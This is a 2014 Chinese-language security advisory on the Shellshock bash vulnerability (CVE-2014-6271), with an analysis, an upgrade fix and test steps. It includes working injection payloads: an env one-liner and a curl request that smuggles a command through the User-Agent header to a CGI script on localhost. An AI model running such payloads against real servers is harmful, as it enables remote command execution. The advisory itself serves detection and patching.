CVE-2014-6271 bash远程命令执行漏洞

www.net130.com     日期:2014-9-28    浏览次数:
出处:安恒

2014年9月26日爆出CVE-2014-6271 bash远程命令执行漏洞。bash是Linux用户广泛使用的一款用于控制命令提示符工具,导致该漏洞影响范围甚广。同时,当HTTP服务开放CGI服务或其他地方引用bash时可直接导致远程命令执行漏洞。主要影响系统为ubuntu centos debian suse readhat等主流linux操作系统。漏洞危害主要表现在:影响基于bash开放的服务、程序。当网站利用CGI执行bash后可导致攻击者远程执行系统命令,从而可以利用系统命令反弹shell之后进行内网渗透、挂马、篡改主页、脱库等行为。

我们建议修复方式:升级bash,升级命令为:sudo apt-get update && sudo apt-get install --only-upgrade bash


漏洞分析:

Bash(Bourne Again SHell)中ENV指令

1. ENV指令允许临时改变环境变量,即指定本次指令执行的环境变量,这从一定程度上给了黑客进行PATH Hajaking的可能性

2. ENV指令还允许在设置环境变量后进行指令执行,从某种程度上来说,ENV相当于一个指令执行的指令,同时还附带有临时设置环境变量的功能

ENV的指令执行走的是正常的BASH指令解析、执行流程,而在一个采取了安全配置的服务器上,对敏感指令的执行都是进行用户级别的权限限制的,所以,ENV本身并不是任意指令执行。真正导致命令任意执行的原因是"Code Injection",即代码注入

1. httpd

1) webserver常常将Referer、UserAgent、header等参数作为环境变量的设置源

2) 服务器提供了CGI脚本,当 CGI script被webserver执行的时候,CGI Script会去调用Bash

攻击者可以通过开启了CGI的httpd服务器进行远程代码执行

测试方法:

本地测试

root@kali:~# env x='() { :;}; echo dbapp' bash -c "echo this is a test"

dbapp

this is a test

如果出现这个结果,则说明本机的bash存在漏洞

httpd远程命令执行测试

[root@host cgi-bin]# rm -fr /tmp/aa

[root@host cgi-bin]# cat /var/www/cgi-bin/hi

#!/bin/bash

echo "Content-type: text/html"

echo ""

echo "dbapp"

[root@host cgi-bin]# curl -k -H 'User-Agent: () { :;}; echo aa>/tmp/aa' https://localhost/cgi-bin/hi

dbapp

[root@host cgi-bin]# tail -n1 /var/log/httpd/ssl_access_log

::1 - - [24/Sep/2014:18:22:05 +0200] "GET /cgi-bin/hi HTTP/1.1" 200 4 "-" "() { :;}; echo aa>/tmp/aa"

[root@host cgi-bin]# ls -l /tmp/aa

-rw-r--r--. 1 apache apache 3 24 sept. 18:22 /tmp/aa

[root@host cgi-bin]# sestatus

SELinux status: enabled

分享道
相关新闻